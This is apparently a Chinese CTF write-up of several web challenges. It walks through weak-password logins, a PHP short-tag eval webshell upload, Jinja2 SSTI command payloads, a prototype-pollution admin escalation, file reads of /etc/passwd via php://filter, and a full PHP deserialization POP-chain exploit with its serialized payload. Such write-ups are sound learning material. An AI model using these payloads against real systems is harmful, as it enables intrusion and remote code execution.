easy_file

首先进来就是一个登录页面

用 bp 测一下用户名和密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  const particlesContainer = document.getElementById('particles');
for (let i = 0; i < 30; i++) {
  const particle = document.createElement('div');
  particle.className = 'particle';
  particle.style.width = `${Math.random() * 20 + 5}px`;
  particle.style.height = particle.style.width;
  particle.style.left = `${Math.random() * 100}%`;
  particle.style.top = `${Math.random() * 100}%`;
  particle.style.animationDelay = `${Math.random() * 5}s`;
  particlesContainer.appendChild(particle);
}

document.getElementById('loginForm').addEventListener('submit', function(e) {
  e.preventDefault();
  const username = this.querySelector('input[name="username"]').value;
  const password = this.querySelector('input[name="password"]').value;
  const encoder = new TextEncoder();
  const encode = str => btoa(String.fromCharCode(...encoder.encode(str)));
  this.querySelector('input[name="username"]').value = encode(username);
  this.querySelector('input[name="password"]').value = encode(password);
  this.submit();
});
//file查看头像

注意：本题的用户名和密码会自动进行 Base64编码 ，爆破的时候要注意一下

同时这里发现了源码泄露，即//file查看头像

我们可以在管理后台传入file，进行文件包含

用户名和密码测出：

1
2
用户名：admin    //YWRtaW4=
密码：password   //cGFzc3dvcmQ=

然后进入管理员后台，发现是一个文件上传

后缀应该用的白名单，尝试.htaccess .user.ini Php 大小写绕过一堆都没成功，只允许上传jpg文件

一般文件上传题目如果只允许上传jpg等文件，一般都存在文件包含漏洞

本题进行了内容检测，不能出现<?php，这里用短标签绕过

1
<?=eval($_POST[1]);?>

actuator-env

payload：

1
2
1=system%28%27ls%27%29%3B
1=system%28%27cat flllag.php%27%29%3B

nest_js

又是一个登录页面

弱口令爆破一下，admin / password，登录进去就给flag

星愿信箱

测了一下，考 SSTI 注入

然后 {{ }} 被过滤了，这里我用的是{% %}

payload：

1
2
{%print(lipsum.__globals__['os'].popen('ls /').read())%}
{%print(lipsum.__globals__['os'].popen('tac /flag').read())%}

多重宇宙日记

先注册一个账号user，然后在个人资料页面看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
// ============================================
// 第一部分：表单提交处理（主要功能）
// ============================================

// 获取ID为'profileUpdateForm'的表单元素，并添加提交事件监听器
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
  // 阻止表单的默认提交行为（默认会刷新页面）
  event.preventDefault();

  // 获取用于显示更新状态的DOM元素
  const statusEl = document.getElementById('updateStatus');
  // 获取用于显示当前设置内容的DOM元素
  const currentSettingsEl = document.getElementById('currentSettings');

  // 更新状态提示文本，告知用户操作正在进行中
  statusEl.textContent = '正在更新...';

  // 从表单中收集所有用户输入的数据（通过form的name属性获取值）
  const formData = new FormData(event.target);

  // 创建一个空对象，用于存放将要发送到服务器的设置数据
  const settingsPayload = {};

  // 构建settings对象：只包含有值的字段（避免发送空数据）
  // 如果用户选择了主题（theme字段有值），则将其添加到settingsPayload对象中
  if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
  // 如果用户选择了语言（language字段有值），则将其添加到settingsPayload对象中
  if (formData.get('language')) settingsPayload.language = formData.get('language');
  // 注：可以根据需要继续添加其他字段，如：时区、通知偏好等

  try {
    // 发送异步POST请求到后端API（await会等待请求完成）
    const response = await fetch('/api/profile/update', {
      method: 'POST',           // 使用HTTP POST方法
      headers: {
        'Content-Type': 'application/json',   // 告知服务器：发送的内容是JSON格式
      },
      // 将设置数据包装在"settings"键下，转换为JSON字符串作为请求体
      body: JSON.stringify({ settings: settingsPayload })
    });

    // 等待服务器响应的JSON数据，并解析为JavaScript对象
    const result = await response.json();

    // 检查HTTP响应是否成功（状态码在200-299范围内）
    if (response.ok) {
      // 显示成功消息（从服务器返回的result.message中获取）
      statusEl.textContent = '成功: ' + result.message;
      // 将服务器返回的最新设置以格式化的JSON形式显示在页面上
      // 参数：JSON对象, null(替换器), 2(缩进空格数)
      currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);

      // 设置1秒后自动刷新页面
      // 目的：更新导航栏等内容（例如用户的isAdmin状态改变后需要重新渲染导航栏）
      setTimeout(() => window.location.reload(), 1000);
    } else {
      // 如果HTTP响应状态码表示错误（如400、401、500等），显示错误消息
      statusEl.textContent = '错误: ' + result.message;
    }
  } catch (error) {
    // 捕获网络错误、JSON解析错误等异常情况
    // 例如：服务器无法连接、请求超时等
    statusEl.textContent = '请求失败: ' + error.toString();
  }
});


// ============================================
// 第二部分：发送原始JSON的函数（高级用户功能）
// ============================================

// 定义异步函数sendRawJson，用于直接发送用户手动编写的JSON数据
// 这个函数通常通过按钮的onclick属性或事件监听器触发
async function sendRawJson() {
  // 获取文本输入框中用户输入的原始JSON字符串
  const rawJson = document.getElementById('rawJsonSettings').value;

  // 获取专门用于显示原始JSON提交状态的状态元素
  const statusEl = document.getElementById('rawJsonStatus');
  // 获取用于显示当前设置内容的DOM元素（与表单提交共用）
  const currentSettingsEl = document.getElementById('currentSettings');

  // 更新状态提示
  statusEl.textContent = '正在发送...';

  try {
    // 尝试将用户输入的字符串解析为JSON对象
    // 如果解析失败（例如缺少引号、多余的逗号等），会抛出错误并进入catch块
    const parsedJson = JSON.parse(rawJson);

    // 发送POST请求到后端API（注意：这里直接发送用户输入的整个JSON，不包装在settings键下）
    const response = await fetch('/api/profile/update', {
      method: 'POST',                    // 使用POST方法
      headers: {
        'Content-Type': 'application/json',   // 请求体类型为JSON
      },
      body: JSON.stringify(parsedJson)   // 将解析后的JSON对象转回字符串作为请求体
    });
    
    // 解析服务器返回的JSON响应
    const result = await response.json();
    
    // 根据响应状态处理结果
    if (response.ok) {
      // 成功：显示服务器返回的消息
      statusEl.textContent = '成功: ' + result.message;
      // 显示更新后的设置（格式化为易读的格式）
      currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
      // 延迟1秒后刷新页面，确保导航栏等组件能反映最新的用户状态
      setTimeout(() => window.location.reload(), 1000);
    } else {
      // 失败：显示服务器返回的错误信息
      statusEl.textContent = '错误: ' + result.message;
    }
  } catch (error) {
    // 处理两类错误：
    // 1. JSON.parse解析失败（用户输入的不是合法JSON）
    // 2. fetch网络请求失败
    statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
  }
}

// ============================================
// 代码功能总结：
// 1. 表单提交方式：从表单中提取theme、language等字段，只发送有值的字段
// 2. 原始JSON方式：允许高级用户直接编写完整的JSON对象发送到后端
// 3. 两种方式都调用同一个后端API接口：/api/profile/update
// 4. 成功更新后都会自动刷新页面，以更新导航栏等依赖用户状态的UI组件
// ============================================

审计一下

payload：

1
2
3
4
5
6
7
8
9
{
    "settings":{
        "theme":"ctf",
        "language":"web",
        "__proto__":{
              "isAdmin":true
        }
    }
}

然后就可以在管理员面板查看 flag 了

easy_signin

扫描目录得到login.html，进去是一个登录页面

好开心，一直在登录…

看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
const loginBtn = document.getElementById('loginBtn');
const passwordInput = document.getElementById('password');
const errorTip = document.getElementById('errorTip');
const rawUsername = document.getElementById('username').value; 


loginBtn.addEventListener('click', async () => {
  const rawPassword = passwordInput.value.trim();
  if (!rawPassword) {
    errorTip.textContent = '请输入密码';
    errorTip.classList.add('show');
    passwordInput.focus();
    return;
  }

  const md5Username = CryptoJS.MD5(rawUsername).toString();   
  const md5Password = CryptoJS.MD5(rawPassword).toString();   


  const shortMd5User = md5Username.slice(0, 6);  
  const shortMd5Pass = md5Password.slice(0, 6);  


  const timestamp = Date.now().toString(); //五分钟


  const secretKey = 'easy_signin';  
  const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

  try {
    const response = await fetch('login.php', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-Sign': sign  
      },
      body: new URLSearchParams({
        username: md5Username,   
        password: md5Password,   
        timestamp: timestamp
      })
    });

    const result = await response.json();
    if (result.code === 200) {
      alert('登录成功！');
      window.location.href = 'dashboard.php'; 
    } else {
      errorTip.textContent = result.msg;
      errorTip.classList.add('show');
      passwordInput.value = '';
      passwordInput.focus();
      setTimeout(() => errorTip.classList.remove('show'), 3000);
    }
  } catch (error) {
    errorTip.textContent = '网络请求失败';
    errorTip.classList.add('show');
    setTimeout(() => errorTip.classList.remove('show'), 3000);
  }
});

passwordInput.addEventListener('input', () => {
  errorTip.classList.remove('show');
});

在源码处看到/api.js，得到/api/sys/urlcode.php?url=

存在一个传参点，试试 php伪协议，这里过滤了php，可以使用大小写绕过

1
/api/sys/urlcode.php?url=file:///etc/passwd

发现可以读取。那么读取一下<font style="color:rgb(77, 77, 77);">api/sys/urlcode.php</font>

1
/api/sys/urlcode.php?url=phP://filter/read=convert.base64-encode/resource=/var/www/html/api/sys/urlcode.php

解码得到：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
  error_reporting(0);

function curl($url){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_exec($ch);
  curl_close($ch);
}

$url = $_REQUEST['url'];
if($url){

  $forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://'];
  $protocol_block = false;
  foreach ($forbidden_protocols as $proto) {
    if (strpos($url, $proto) === 0) {  
      $protocol_block = true;
      break;
    }
  }
  $log_block = strpos($url, '.log') !== false;  

  if ($protocol_block) {
    echo "禁止访问：不允许使用 {$proto} 协议";
  } elseif ($log_block) {
    echo "禁止访问：URL 包含 .log";
  } elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) {
    echo "看不见哦";
  } else {
    echo "<b>".$url." 的快照如下：</b><br><br>";
    echo "<pre>";
    curl($url);
    include($url);
    echo "</pre>";
  }
}
  ?>

可以看到进行了过滤

并且 flag 应该在327a6c4304ad5938eaf0efb6cc3e53dc.php里面

访问一下看看

拿到flag

君の名は

考察PHP反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!～(∠・ω< )⌒☆";
}

因为自己对反序列化漏洞还不是很熟，所以会写的尽可能详细一点

核心漏洞点分析

入口与正则绕过

1
2
3
4
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
  unserialize($Litctf2025);
}
  • 功能：接收 POST 参数并反序列化。
  • 过滤：禁止以 O:数字 或 a:数字 开头（不区分大小写）。这是为了阻止直接序列化对象和数组。
  • 绕过：提示已经非常明显：“把O改成C不就行了吗”。在 PHP 中，C: 代表 Custom Object Serialization（自定义对象序列化）。当使用 C: 格式时，PHP 会调用类的 __unserialize() 方法而不是传统的 __wakeup()，且完全绕过了 O: 的正则检测。

关键可利用类

Taki 类 (触发器)

1
2
3
4
5
6
7
8
public function __unserialize(array $data) {
  $this->musubi = $data['musubi'];
  $this->magic = $data['magic'];
  return ($this->musubi)(); // 将 musubi 作为函数调用
}
public function __call($func,$args){
  (new $args[0]($args[1]))->{$this->magic}(); // 动态实例化并调用方法
}
  • __unserialize 是 C: 格式的入口。它会将 $data['musubi'] 当作可调用对象执行。
  • __call 是一个强大的万能跳板：可以 new 任意类（带一个构造参数），并调用该对象的任意无参方法。

Mitsuha 类 (桥梁)

1
2
3
public function __invoke() {
  return $this->memory.$this->thread; // 字符串拼接触发 __toString
}
  • 当被当作函数调用时（配合 Taki 的 __unserialize），会触发字符串拼接，进而触发 $this->memory 或 $this->thread 的 __toString()。

KatawareDoki 类 (命令执行触发点)

1
2
3
4
public function __toString() {
  ($this->soul)->flag($this->kuchikamizake,$this->name);
  return "call error!no flag!";
}
  • 当被转为字符串时，会调用 $this->soul->flag($arg1, $arg2)。
  • 如果 $this->soul 是一个没有 flag 方法的对象，就会触发该对象的 __call 魔术方法。

攻击链构造 (POP Chain)

真实链路还原

  1. KatawareDoki::__toString() 被触发
    $ b->thread = $ c; → 当 $ b（Mitsuha）被当作字符串拼接时（ $ this->memory . $ this->thread），触发 $ c（KatawareDoki）的 __toString()。
  2. Taki::__call()** 被触发**
    在 KatawareDoki::__toString() 中：( $ this->soul)->flag( $ this->kuchikamizake, $ this->name);
    因为 $ c->soul = $ a（Taki 对象），且 Taki 没有 flag 方法，所以触发 Taki::__call('flag', ['ReflectionFunction', '\0lambda_1'])。
  3. 动态实例化 + 方法调用（RCE 核心）
    Taki::__call 内部执行：php编辑
1
2
(new $args[0]($args[1]))->{$this->magic}();
// 等价于：(new ReflectionFunction("\0lambda_1"))->invoke();
  • $ args[0] = "ReflectionFunction" （由 $ c->kuchikamizake 控制）
  • $ args[1] = "\0lambda_1" （由 $ c->name 控制，即 create_function 生成的匿名函数名）
  • $ this->magic = "invoke" （由 $ a->magic 预设）
  1. 命令执行
    ReflectionFunction("\0lambda_1")->invoke() 成功调用了 create_function 创建的匿名函数，执行 die(/readflag)，获取 Flag。

EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
highlight_file(__FILE__);
error_reporting(0);
class Taki
{
    public $musubi;
    public $magic = "invoke";
}

class Mitsuha
{
    public $memory;
    public $thread;
}

class KatawareDoki
{
    public $soul;
    public $kuchikamizake = "ReflectionFunction";
    public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a->musubi = $b;		// 1.把对象当成函数调用，触发__invoke()
$b->thread = $c;		// 2. 把对象作为字符串使用，触发__toString()
$c->soul = $a;			// 3. 调用不存在的方法，触发__call()

$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));

输出了：

1
O%3A11%3A%22ArrayObject%22%3A4%3A%7Bi%3A0%3Bi%3A0%3Bi%3A1%3Ba%3A1%3A%7Bs%3A4%3A%22evil%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7Di%3A2%3Ba%3A0%3A%7B%7Di%3A3%3BN%3B%7D

最后，把O改成C即可

注意：每访问一次页面，create_function就会执行一次，也就是说lambda后面的数字是会变的，最好是重开一个容器